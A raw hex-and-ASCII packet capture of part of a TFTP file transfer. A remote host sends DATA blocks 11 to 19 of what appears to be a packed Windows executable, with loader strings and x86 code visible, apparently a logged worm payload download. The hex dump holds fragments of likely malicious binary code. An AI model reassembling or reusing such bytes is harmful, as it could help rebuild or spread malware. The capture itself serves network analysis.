0x0010 51a8 a87f 040c 0045 000c 77c6 0004 000a Q......E..w.....
0x0020 5014 0000 6ec5 0000 0000 0023 ff53 P...n......#.S
01:49:15.222427 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 11
0x0000 4500 0220 9459 0000 7111 2fc3 51a8 a87f E....Y..q./.Q...
0x0010 800a 097f 0045 040c 020c 23db 0003 000b .....E....#.....
0x0020 3da3 6142 88fb 9fa1 3cfb 71a5 dee9 1d70 =.aB....<.q....p
0x0030 bc07 3d40 3ff3 f8be 58b5 d9ee 21fb 4b1d ..=@?...X...!.K.
0x0040 ae27 9332 88fa 7def 6701 bb79 59c6 6e95 .'.2..}.g..yY.n.
0x0050 aa16 99c7 27b2 7b41 3a08 eb1c 42fd 2411 ....'.{A:...B.$.
0x0060 7f5d 4ddb 770d 06cd 216d 1fc2 4c4f fa1c .]M.w...!m..LO..
0x0070 bab2 ef7c 3779 376f 8e5a 12d7 a0a2 9751 ...|7y7o.Z.....Q
0x0080 e38a 66ac 95fc 6908 c93f eab1 ee53 75b2 ..f...i..?...Su.
0x0090 d926 db9b 36b1 f661 2105 c748 76b0 f18a .&..6..a!..Hv...
0x00a0 35fc a1e8 5b9b 7645 07eb 2c27 5a46 44d0 5...[.vE..,'ZFD.
0x00b0 6bee 800a d13e 3048 94cd 5b5f 2007 0eec k....>0H..[_....
0x00c0 e008 b3e9 44bf 4f8f 0006 736a 801b aa8c ....D.O...sj....
0x00d0 cbd2 cb34 707a 99c8 d392 7f83 1816 3df1 ...4pz........=.
0x00e0 ea11 619c 6c7c 8232 a442 8b73 0a01 a929 ..a.l|.2.B.s...)
0x00f0 580e 745d 6d09 1770 240e 942c 04af 173f X.t]m..p$..,...?
0x0100 5322 0112 f904 5b8e 118c e5ea fcea 40ef S"....[.......@.
0x0110 20e0 5ee1 0a66 3d43 c07d abcf ca01 9437 ..^..f=C.}.....7
0x0120 2511 0e50 c489 5fc3 0dc3 bc9d 3469 21c4 %..P.._.....4i!.
0x0130 feb8 6450 a2f8 5252 30fb 63b4 602b beb4 ..dP..RR0.c.`+..
0x0140 b47a 3b5b e575 a850 61e1 78bd 6a32 92d0 .z;[.u.Pa.x.j2..
0x0150 a1e1 6bac e771 aab6 f6bb 60d7 45af dba0 ..k..q....`.E...
0x0160 11e3 6628 1507 c8a9 31c8 1cc2 d4e4 fb04 ..f(....1.......
0x0170 63f7 3132 67e8 a983 4a60 d4d5 f5a0 ca5e c.12g...J`.....^
0x0180 0b4a ddf2 60b7 e7c0 8a84 0c48 9ff1 4bfd .J..`......H..K.
0x0190 c199 89fe 3757 b6e1 0155 596f 08ed df59 ....7W...UYo...Y
0x01a0 c6c8 f084 319e 336e fc18 854f e21e f513 ....1.3n...O....
0x01b0 7d84 ff7b a24b c9cc 4ed1 566d f8b2 14db }..{.K..N.Vm....
0x01c0 7d10 caf7 4a7f 4c11 3f0d 1501 9860 1a16 }...J.L.?....`..
0x01d0 6f38 822e 833e 3a95 2315 6c18 d0d0 d3a2 o8...>:.#.l.....
0x01e0 aa1e 2246 0e0f 5e32 ab94 a0f6 0b53 c047 .."F..^2.....S.G
0x01f0 a963 0720 8d49 4616 366e 10b9 ab8d 2072 .c...IF.6n.....r
0x0200 4b45 1516 f858 e3cc 9484 8454 8957 f312 KE...X.....T.W..
0x0210 259d c76c 5d92 6f02 a47b 9234 b470 6bfc %..l].o..{.4.pk.
01:49:15.223437 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 11
0x0000 4500 0020 01c7 0000 8011 b555 800a 097f E..........U....
0x0010 51a8 a87f 040c 0045 000c 77c5 0004 000b Q......E..w.....
0x0020 5014 0000 6ec5 0000 0200 0000 0000 P...n.........
01:49:15.223448 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 11
0x0000 4500 0020 01c7 0000 8011 b555 800a 097f E..........U....
0x0010 51a8 a87f 040c 0045 000c 77c5 0004 000b Q......E..w.....
0x0020 5014 0000 6ec5 0000 0200 0000 0000 P...n.........
01:49:16.128376 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 12
0x0000 4500 0220 945a 0000 7111 2fc2 51a8 a87f E....Z..q./.Q...
0x0010 800a 097f 0045 040c 020c c317 0003 000c .....E..........
0x0020 51b3 8933 6312 3d1a d79a 5580 922a 74cb Q..3c.=...U..*t.
0x0030 2180 db40 7ab7 7891 520d 8b2f af46 55de !..@z.x.R../.FU.
0x0040 4cc9 1bcd cdad 8955 6384 3119 1e58 ec89 L......Uc.1..X..
0x0050 cd36 1d36 ac1d b1c3 3b79 1953 0cf3 45e0 .6.6....;y.S..E.
0x0060 0ec7 d843 5806 96d6 c1ea cb49 a942 1695 ...CX......I.B..
0x0070 62bd 8db6 875d e5b3 aae6 a381 aebe e999 b....]..........
0x0080 db16 de96 7e2d f00c b0ca dfc9 6a15 5e9f ....~-......j.^.
0x0090 c741 ca42 c565 df99 ca32 74b0 dffc 26c4 .A.B.e...2t...&.
0x00a0 4473 9724 7816 1151 4ee6 b7aa 6db2 4606 Ds.$x..QN...m.F.
0x00b0 9610 732e 3444 6c64 0899 28bc 58de 7d22 ..s.4Dld..(.X.}"
0x00c0 94cf 8e42 324f e013 699b bac0 6167 34e8 ...B2O..i...ag4.
0x00d0 414b b06c c71a cb26 bf7b f499 1326 6b6a AK.l...&.{...&kj
0x00e0 7234 52e9 986a bd79 c351 9582 6263 e66f r4R..j.y.Q..bc.o
0x00f0 5e12 615f 8fd9 33e2 c8be 1d5f f852 3848 ^.a_..3...._.R8H
0x0100 8a8c 562b 07b3 4b5f 1b5c cd83 74ee 5db6 ..V+..K_.\..t.].
0x0110 4790 60ee 2d7c 155b 49b0 f1e7 4c6b 6229 G.`.-|.[I...Lkb)
0x0120 6c84 597c 454d 2a3d c945 4dbb 4a4b c894 l.Y|EM*=.EM.JK..
0x0130 2f53 665c b197 e133 3818 9fa8 2078 9384 /Sf\...38....x..
0x0140 fbab f5f6 1215 9b2d e872 f8e7 22fe 0ea4 .......-.r.."...
0x0150 8452 e274 f731 6616 9614 a50d b22e 1129 .R.t.1f........)
0x0160 06ef cafa 8ec9 8b33 9bd3 7079 8df1 0b8c .......3..py....
0x0170 b373 a5a0 b178 237e e7bd 9318 ea86 b5c5 .s...x#~........
0x0180 cde9 dda6 09e9 43b6 35a3 f840 e034 cc38 ......C.5..@.4.8
0x0190 bb78 801a 1058 40ae 202e 32b9 7444 5e2c .x...X@...2.tD^,
0x01a0 76d5 e248 7893 ba12 6526 2c2f 2a37 b0ad v..Hx...e&,/*7..
0x01b0 4a1d d627 52c7 74b3 dbee 0c1c 26a0 773f J..'R.t.....&.w?
0x01c0 4f62 c305 6aa4 4712 3c53 9e29 c12b 5442 Ob..j.G.<S.).+TB
0x01d0 7d4c e13b 76ee d124 62c4 66af dad2 be25 }L.;v..$b.f....%
0x01e0 24fc e0d4 230c ff64 8a18 a639 f15d d9ca $...#..d...9.]..
0x01f0 0801 3a6d 4933 1390 19b1 ad1e 9d12 1a92 ..:mI3..........
0x0200 f6f9 d791 2c00 4fc0 81fd c400 040f ea89 ....,.O.........
0x0210 ebad c493 0283 ae9b a008 2510 5e82 9875 ..........%.^..u
01:49:16.129481 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 12
0x0000 4500 0020 01c8 0000 8011 b554 800a 097f E..........T....
0x0010 51a8 a87f 040c 0045 000c 77c4 0004 000c Q......E..w.....
0x0020 5014 0000 6ec5 0000 0204 05b4 0101 P...n.........
01:49:16.129493 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 12
0x0000 4500 0020 01c8 0000 8011 b554 800a 097f E..........T....
0x0010 51a8 a87f 040c 0045 000c 77c4 0004 000c Q......E..w.....
0x0020 5014 0000 6ec5 0000 0204 05b4 0101 P...n.........
01:49:17.033832 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 13
0x0000 4500 0220 945b 0000 7111 2fc1 51a8 a87f E....[..q./.Q...
0x0010 800a 097f 0045 040c 020c a9dd 0003 000d .....E..........
0x0020 17f4 cf29 3dce 897c 0890 e894 4c68 3294 ...)=..|....Lh2.
0x0030 2ba4 3593 d409 fc4f f811 5ed7 f6e6 f2ce +.5....O..^.....
0x0040 a9ff 906f 19b2 ed02 50c6 957b 1e21 5f88 ...o....P..{.!_.
0x0050 9066 0270 e21f abfd b1dd ff83 9d1e effc .f.p............
0x0060 17ff 1dc8 3b01 66bd 807a 4105 07d6 1281 ....;.f..zA.....
0x0070 69ad 07b1 44a0 d9e0 af1f c96d 91dc ec80 i...D......m....
0x0080 14d6 00a2 4415 0764 3a11 282e 43a0 c80f ....D..d:.(.C...
0x0090 2be7 09dd ff43 7887 3ac6 9ff9 593d eec6 +....Cx.:...Y=..
0x00a0 a4ae a125 738f bb04 3be8 4426 7a20 3c6f ...%s...;.D&z.<o
0x00b0 6128 aec5 a8ee 05be ab3c fa64 a133 3fd7 a(.......<.d.3?.
0x00c0 4421 47e4 c1a0 eb81 05f8 27b9 7ff9 03dd D!G.......'.....
0x00d0 517b ae82 6c90 127f f56f a60b dc62 81a4 Q{..l....o...b..
0x00e0 96fd d717 f181 5ee2 f0a1 d028 fbe8 e7ed ......^....(....
0x00f0 fefd 31fa 7f88 1284 320b 60e9 bc7f 7f1f ..1.....2.`.....
0x0100 fd31 591c 1e48 2081 fdf4 8000 0000 0000 .1Y..H..........
0x0110 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0120 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0130 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0140 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0150 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0160 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0170 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0180 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0190 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
01:49:17.034840 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 13
0x0000 4500 0020 01c9 0000 8011 b553 800a 097f E..........S....
0x0010 51a8 a87f 040c 0045 000c 77c3 0004 000d Q......E..w.....
0x0020 7012 4470 eb95 0000 0204 05b4 0101 p.Dp..........
01:49:17.034851 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 13
0x0000 4500 0020 01c9 0000 8011 b553 800a 097f E..........S....
0x0010 51a8 a87f 040c 0045 000c 77c3 0004 000d Q......E..w.....
0x0020 7012 4470 eb95 0000 0204 05b4 0101 p.Dp..........
01:49:17.939790 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 14
0x0000 4500 0220 945d 0000 7111 2fbf 51a8 a87f E....]..q./.Q...
0x0010 800a 097f 0045 040c 020c 2197 0003 000e .....E....!.....
0x0020 13b2 0299 0000 0000 399c 1c09 c09a 9b9a ........9.......
0x0030 1701 6124 1213 c421 2416 c4f3 3de1 2024 ..a$...!$...=..$
0x0040 f07a 4a24 ad6b 6c6c 6c6c 7017 016f 7006 .zJ$.kllllp..op.
0x0050 f702 7026 5109 4a0d 8cae 362d 71a1 a5fe ..p&Q.J...6-q...
0x0060 0483 4235 ad08 2eff bfea e871 c7ee c1b8 ..B5.......q....
0x0070 3bbe ef8e 0c8e 63bb bcee ad97 24c5 ff0f ;.....c.....$...
0x0080 95fc 10b3 3f86 1677 f141 b768 f269 e09d ....?..w.A.h.i..
0x0090 7b5c fe55 0828 c156 0490 5534 0152 9d23 {\.U.(.V..U4.R.#
0x00a0 c003 0d3e b9aa 23db 3955 f8bd 1b08 a7b8 ...>..#.9U......
0x00b0 82fd 65a9 d9f8 6201 0220 3368 a12b c6cb ..e...b...3h.+..
0x00c0 2b0d c50a 460d 108a 36db 9441 d67b ee7c +...F...6..A.{.|
0x00d0 4a8e d9d7 08d8 d21b d340 b846 6411 69c1 J........@.Fd.i.
0x00e0 95af bbfa 9c46 a4d8 9689 6703 21ec faad .....F....g.!...
0x00f0 08c8 fc00 0000 0000 0000 0000 0000 0000 ................
0x0100 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0110 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0120 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0130 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0140 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0150 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0160 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0170 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0180 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0190 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
01:49:17.943641 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 14
0x0000 4500 0020 01ca 0000 8011 b552 800a 097f E..........R....
0x0010 51a8 a87f 040c 0045 000c 77c2 0004 000e Q......E..w.....
0x0020 7012 4470 00d3 0000 0204 05b4 0101 p.Dp..........
01:49:17.943655 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 14
0x0000 4500 0020 01ca 0000 8011 b552 800a 097f E..........R....
0x0010 51a8 a87f 040c 0045 000c 77c2 0004 000e Q......E..w.....
0x0020 7012 4470 00d3 0000 0204 05b4 0101 p.Dp..........
01:49:18.846861 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 15
0x0000 4500 0220 945e 0000 7111 2fbe 51a8 a87f E....^..q./.Q...
0x0010 800a 097f 0045 040c 020c e628 0003 000f .....E.....(....
0x0020 9060 e803 0000 00e9 eb04 5d45 55c3 e801 .`........]EU...
0x0030 0000 00eb 5dbb edff ffff 03dd 81eb 0090 ....]...........
0x0040 0000 83bd 2204 0000 0089 9d22 0400 000f ...."......"....
0x0050 8565 0300 008d 852e 0400 0050 ff95 4d0f .e.........P..M.
0x0060 0000 8985 2604 0000 8bf8 8d5d 5e53 50ff ....&......]^SP.
0x0070 9549 0f00 0089 854d 0500 008d 5d6b 5357 .I.....M....]kSW
0x0080 ff95 490f 0000 8985 5105 0000 8d45 77ff ..I.....Q....Ew.
0x0090 e056 6972 7475 616c 416c 6c6f 6300 5669 .VirtualAlloc.Vi
0x00a0 7274 7561 6c46 7265 6500 8b9d 3105 0000 rtualFree...1...
0x00b0 0bdb 740a 8b03 8785 3505 0000 8903 8db5 ..t.....5.......
0x00c0 6905 0000 833e 000f 8421 0100 006a 0468 i....>...!...j.h
0x00d0 0010 0000 6800 1800 006a 00ff 954d 0500 ....h....j...M..
0x00e0 0089 8556 0100 008b 4604 050e 0100 006a ...V....F......j
0x00f0 0468 0010 0000 506a 00ff 954d 0500 0089 .h....Pj...M....
0x0100 8552 0100 0056 8b1e 039d 2204 0000 ffb5 .R...V....".....
0x0110 5601 0000 ff76 0450 53e8 6e05 0000 b300 V....v.PS.n.....
0x0120 80fb 0075 5efe 85ec 0000 008b 3e03 bd22 ...u^.......>.."
0x0130 0400 00ff 37c6 07c3 ffd7 8f07 5051 5653 ....7.......PQVS
0x0140 8bc8 83e9 068b b552 0100 0033 db0b c974 .......R...3...t
0x0150 2e78 2cac 3ce8 740a eb00 3ce9 7404 4349 .x,.<.t...<.t.CI
0x0160 ebeb 8b06 eb00 803e 0075 f324 00c1 c018 .......>.u.$....
0x0170 2bc3 8906 83c3 0583 c604 83e9 05eb ce5b +..............[
0x0180 5e59 58eb 0800 0000 0000 0000 008b c88b ^YX.............
0x0190 3e03 bd22 0400 008b b552 0100 00c1 f902 >..".....R......
0x01a0 f3a5 8bc8 83e1 03f3 a45e 6800 8000 006a .........^h....j
0x01b0 00ff b552 0100 00ff 9551 0500 0083 c608 ...R.....Q......
0x01c0 833e 000f 851e ffff ff68 0080 0000 6a00 .>.......h....j.
0x01d0 ffb5 5601 0000 ff95 5105 0000 8b9d 3105 ..V.....Q.....1.
0x01e0 0000 0bdb 7408 8b03 8785 3505 0000 8b95 ....t.....5.....
0x01f0 2204 0000 8b85 2d05 0000 2bd0 7479 8bc2 ".....-...+.ty..
0x0200 c1e8 1033 db8b b539 0500 0003 b522 0400 ...3...9....."..
0x0210 0083 3e00 7461 8b4e 0483 e908 d1e9 8b3e ..>.ta.N.......>
01:49:18.847859 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 15
0x0000 4500 0020 01cb 0000 8011 b551 800a 097f E..........Q....
0x0010 51a8 a87f 040c 0045 000c 77c1 0004 000f Q......E..w.....
0x0020 5018 43e7 66c8 0000 0000 0055 ff53 P.C.f......U.S
01:49:18.847870 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 15
0x0000 4500 0020 01cb 0000 8011 b551 800a 097f E..........Q....
0x0010 51a8 a87f 040c 0045 000c 77c1 0004 000f Q......E..w.....
0x0020 5018 43e7 66c8 0000 0000 0055 ff53 P.C.f......U.S
01:49:19.753394 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 16
0x0000 4500 0220 945f 0000 7111 2fbd 51a8 a87f E...._..q./.Q...
0x0010 800a 097f 0045 040c 020c 0de4 0003 0010 .....E..........
0x0020 03bd 2204 0000 83c6 0866 8b1e c1eb 0c83 .."......f......
0x0030 fb01 740c 83fb 0274 1683 fb03 7420 eb2c ..t....t....t..,
0x0040 668b 1e81 e3ff 0f00 0066 0104 1feb 1d66 f........f.....f
0x0050 8b1e 81e3 ff0f 0000 6601 141f eb0e 668b ........f.....f.
0x0060 1e81 e3ff 0f00 0001 141f eb00 6683 0eff ............f...
0x0070 83c6 02e2 b4eb 9a8b 9522 0400 008b b541 .........".....A
0x0080 0500 000b f674 1103 f2ad 0bc0 740a 03c2 .....t......t...
0x0090 8bf8 66ad 66ab ebf1 be00 8000 008b 9522 ..f.f.........."
0x00a0 0400 0003 f28b 460c 85c0 0f84 0a01 0000 ......F.........
0x00b0 03c2 8bd8 50ff 954d 0f00 0085 c075 0753 ....P..M.....u.S
0x00c0 ff95 510f 0000 8985 4505 0000 c785 4905 ..Q.....E.....I.
0x00d0 0000 0000 0000 8b95 2204 0000 8b06 85c0 ........".......
0x00e0 7503 8b46 1003 c203 8549 0500 008b 188b u..F.....I......
0x00f0 7e10 03fa 03bd 4905 0000 85db 0f84 a200 ~.....I.........
0x0100 0000 f7c3 0000 0080 7504 03da 4343 5381 ........u...CCS.
0x0110 e3ff ffff 7f53 ffb5 4505 0000 ff95 490f .....S..E.....I.
0x0120 0000 85c0 5b75 6ff7 c300 0000 8075 1957 ....[uo......u.W
0x0130 8b46 0c03 8522 0400 0050 538d 8575 0400 .F..."...PS..u..
0x0140 0050 57e9 9800 0000 81e3 ffff ff7f 8b85 .PW.............
0x0150 2604 0000 3985 4505 0000 7524 578b d34a &...9.E...u$W..J
0x0160 c1e2 028b 9d45 0500 008b 7b3c 8b7c 3b78 .....E....{<.|;x
0x0170 035c 3b1c 8b04 1303 8545 0500 005f eb16 .\;......E..._..
0x0180 578b 460c 0385 2204 0000 5053 8d85 c604 W.F..."...PS....
0x0190 0000 5057 eb4a 8907 8385 4905 0000 04e9 ..PW.J....I.....
0x01a0 32ff ffff 8906 8946 0c89 4610 83c6 148b 2......F..F.....
0x01b0 9522 0400 00e9 ebfe ffff b8f0 7100 0050 ."..........q..P
0x01c0 0385 2204 0000 590b c989 85a8 0300 0061 .."...Y........a
0x01d0 7508 b801 0000 00c2 0c00 6800 0000 00c3 u.........h.....
0x01e0 8b85 2604 0000 8d8d 3b04 0000 5150 ff95 ..&.....;...QP..
0x01f0 490f 0000 8985 5505 0000 8d85 4704 0000 I.....U.....G...
0x0200 50ff 9551 0f00 0089 852a 0400 008d 8d52 P..Q.....*.....R
0x0210 0400 0051 50ff 9549 0f00 0089 8559 0500 ...QP..I.....Y..
01:49:19.754578 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 16
0x0000 4500 0020 01cc 0000 8011 b550 800a 097f E..........P....
0x0010 51a8 a87f 040c 0045 000c 77c0 0004 0010 Q......E..w.....
0x0020 5018 4321 9fc2 0000 0000 0143 ff53 P.C!.......C.S
01:49:19.754590 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 16
0x0000 4500 0020 01cc 0000 8011 b550 800a 097f E..........P....
0x0010 51a8 a87f 040c 0045 000c 77c0 0004 0010 Q......E..w.....
0x0020 5018 4321 9fc2 0000 0000 0143 ff53 P.C!.......C.S
01:49:20.658821 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 17
0x0000 4500 0220 9460 0000 7111 2fbc 51a8 a87f E....`..q./.Q...
0x0010 800a 097f 0045 040c 020c ed5d 0003 0011 .....E.....]....
0x0020 008b 852a 0400 008d 8d5e 0400 0051 50ff ...*.....^...QP.
0x0030 9549 0f00 00ff d083 c410 5f6a 308d 9d68 .I........_j0..h
0x0040 0400 0053 576a 00ff 9559 0500 006a ffff ...SWj...Y...j..
0x0050 9555 0500 0000 0000 0000 0000 0000 0000 .U..............
0x0060 006b 6572 6e65 6c33 322e 646c 6c00 4578 .kernel32.dll.Ex
0x0070 6974 5072 6f63 6573 7300 7573 6572 3332 itProcess.user32
0x0080 2e64 6c6c 004d 6573 7361 6765 426f 7841 .dll.MessageBoxA
0x0090 0077 7370 7269 6e74 6641 004c 4f41 4445 .wsprintfA.LOADE
0x00a0 5220 4552 524f 5200 5468 6520 7072 6f63 R.ERROR.The.proc
0x00b0 6564 7572 6520 656e 7472 7920 706f 696e edure.entry.poin
0x00c0 7420 2573 2063 6f75 6c64 206e 6f74 2062 t.%s.could.not.b
0x00d0 6520 6c6f 6361 7465 6420 696e 2074 6865 e.located.in.the
0x00e0 2064 796e 616d 6963 206c 696e 6b20 6c69 .dynamic.link.li
0x00f0 6272 6172 7920 2573 0054 6865 206f 7264 brary.%s.The.ord
0x0100 696e 616c 2025 7520 636f 756c 6420 6e6f inal.%u.could.no
0x0110 7420 6265 206c 6f63 6174 6564 2069 6e20 t.be.located.in.
0x0120 7468 6520 6479 6e61 6d69 6320 6c69 6e6b the.dynamic.link
0x0130 206c 6962 7261 7279 2025 7300 52ba 8e24 .library.%s.R..$
0x0140 3b9c ac0a c074 1432 d0b0 08d1 ea73 0681 ;....t.2.....s..
0x0150 f29a f3a7 c1fe c875 f2eb e792 5ac3 87db .......u....Z...
0x0160 0000 4000 0000 0000 0000 0000 0000 0000 ..@.............
0x0170 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0180 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0190 0000 0000 0000 0000 0000 0000 0060 0000 .............`..
0x01a0 0014 0000 0080 0000 0002 0000 0000 0000 ................
0x01b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
01:49:20.661784 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 17
0x0000 4500 0020 01cd 0000 8011 b54f 800a 097f E..........O....
0x0010 51a8 a87f 040c 0045 000c 77bf 0004 0011 Q......E..w.....
0x0020 5018 41b5 6dfc 0000 0000 0023 ff53 P.A.m......#.S
01:49:20.661797 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 17
0x0000 4500 0020 01cd 0000 8011 b54f 800a 097f E..........O....
0x0010 51a8 a87f 040c 0045 000c 77bf 0004 0011 Q......E..w.....
0x0020 5018 41b5 6dfc 0000 0000 0023 ff53 P.A.m......#.S
01:49:21.565824 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 18
0x0000 4500 0220 9461 0000 7111 2fbb 51a8 a87f E....a..q./.Q...
0x0010 800a 097f 0045 040c 020c 22ac 0003 0012 .....E....".....
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0060 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0070 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080 0000 0000 0000 0000 0000 0000 8b44 2410 .............D$.
0x0090 81ec 5403 0000 8d4c 2404 50e8 a803 0000 ..T....L$.P.....
0x00a0 8b8c 245c 0300 008b 9424 5803 0000 5152 ..$\.....$X...QR
0x00b0 8d4c 240c e80d 0400 0084 c075 0a83 c8ff .L$........u....
0x00c0 81c4 5403 0000 c38b 8c24 6003 0000 8d04 ..T......$`.....
0x00d0 2450 518d 4c24 0ce8 e805 0000 84c0 750a $PQ.L$........u.
0x00e0 83c8 ff81 c454 0300 00c3 8b04 2481 c454 .....T......$..T
0x00f0 0300 00c2 1000 0001 0203 0405 0607 080a ................
0x0100 0c0e 1014 181c 2028 3038 4050 6070 80a0 .......(08@P`p..
0x0110 c0e0 0000 0000 0000 0000 0101 0101 0202 ................
0x0120 0202 0303 0303 0404 0404 0505 0505 0000 ................
0x0130 0000 0101 0202 0303 0404 0505 0606 0707 ................
0x0140 0808 0909 0a0a 0b0b 0c0c 0d0d 0e0e 0f0f ................
0x0150 1010 1111 1111 1111 1111 1111 1111 1111 ................
0x0160 1212 1212 1212 1212 518b d156 b908 0000 ........Q..V....
0x0170 0057 394a 0472 3553 bef8 ffff ff8b 028a .W9J.r5S........
0x0180 1840 885c 240c 8902 8b42 088b 7c24 0cc1 .@.\$....B..|$..
0x0190 e008 81e7 ff00 0000 0bc7 8b7a 0403 fe89 ...........z....
0x01a0 4208 8bc7 897a 043b c173 d25b 8b72 048b B....z.;.s.[.r..
0x01b0 4208 8b7c 2410 2bce d3e8 b918 0000 002b B..|$.+........+
0x01c0 cf25 ffff ff00 d3e8 03f7 5f89 7204 5e59 .%........_.r.^Y
0x01d0 c204 008b 4424 048b 5424 0889 8184 0000 ....D$..T$......
0x01e0 0089 9188 0000 008d 0482 8981 8c00 0000 ................
0x01f0 0500 0100 00c2 0800 81ec 9800 0000 5355 ..............SU
0x0200 568b d157 b90f 0000 008b aa84 0000 0033 V..W...........3
0x0210 c08d 7c24 2c33 f6f3 ab8b bc24 ac00 0000 ..|$,3.....$....
01:49:21.566857 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 18
0x0000 4500 0020 01ce 0000 8011 b54e 800a 097f E..........N....
0x0010 51a8 a87f 040c 0045 000c 77be 0004 0012 Q......E..w.....
0x0020 5011 41b5 1691 0000 0204 05b4 0101 P.A...........
01:49:21.566868 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 18
0x0000 4500 0020 01ce 0000 8011 b54e 800a 097f E..........N....
0x0010 51a8 a87f 040c 0045 000c 77be 0004 0012 Q......E..w.....
0x0020 5011 41b5 1691 0000 0204 05b4 0101 P.A...........
01:49:22.483154 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 19
0x0000 4500 0220 9462 0000 7111 2fba 51a8 a87f E....b..q./.Q...
0x0010 800a 097f 0045 040c 020c d2ac 0003 0013 .....E..........
0x0020 3bee 8954 2420 7615 33c9 8a0c 388b 5c8c ;..T$.v.3...8.\.
0x0030 288d 4c8c 2843 403b c589 1972 ebb9 1700 (.L.(C@;...r....
0x0040 0000 8974 2428 8972 0489 7244 8974 2468 ...t$(.r..rD.t$h
0x0050 33ff 8974 241c c744 2410 0100 0000 894c 3..t$..D$......L
0x0060 2418 8d6a 0889 7424 148b 4434 2cd3 e003 $..j..t$..D4,...
0x0070 f881 ff00 0000 0189 7c24 240f 878e 0000 ........|$$.....
0x0080 008b 4434 2889 7d00 8b5d 3c03 c383 f910 ..D4(.}..]<.....
0x0090 8945 4089 4434 6c7c 4d8b 7500 8b44 2410 .E@.D4l|M.u..D$.
0x00a0 8b5c 241c 8bba 8c00 0000 c1ee 108b ce25 .\$............%
0x00b0 ff00 0000 2bcb 03fb 8ad8 8bd1 8afb 8974 ....+..........t
0x00c0 241c 8bc3 8b74 2414 c1e0 1066 8bc3 c1e9 $....t$....f....
0x00d0 02f3 ab8b ca8b 5424 2083 e103 f3aa 8b7c ......T$.......|
